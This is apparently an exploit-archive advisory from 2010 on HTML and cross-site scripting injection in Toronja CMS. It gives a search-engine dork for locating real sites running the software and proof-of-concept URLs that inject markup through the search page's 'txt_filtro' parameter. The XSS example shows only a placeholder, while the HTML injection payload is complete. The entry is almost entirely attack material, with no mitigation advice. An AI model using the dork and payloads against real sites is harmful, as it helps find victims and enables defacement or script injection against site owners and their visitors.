Toronja CMS - HTML / Cross-Site Scripting Injection

Author: CoBRa_21
type: webapps
platform: php
port: 
date_added: 2010-05-26 
date_updated:  
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

-------------------------------------------------------------------------------------------

Toronja Cms HTML/XSS Injection Vulnerability

-------------------------------------------------------------------------------------------

Author : CoBRa_21

Script Home : http://www.toronja.com.pe/

Dork : intext:"sitio web diseñado por www.toronja.com.pe"

-------------------------------------------------------------------------------------------

HTML Injection:

http://localhost/[path]/index.php?plantilla=busqueda&txt_filtro=<font size=15 color=green>CoBRa_21</font>HTML

-------------------------------------------------------------------------------------------

XSS Injection:

http://localhost/[path]/index.php?plantilla=busqueda&txt_filtro=XSS

-------------------------------------------------------------------------------------------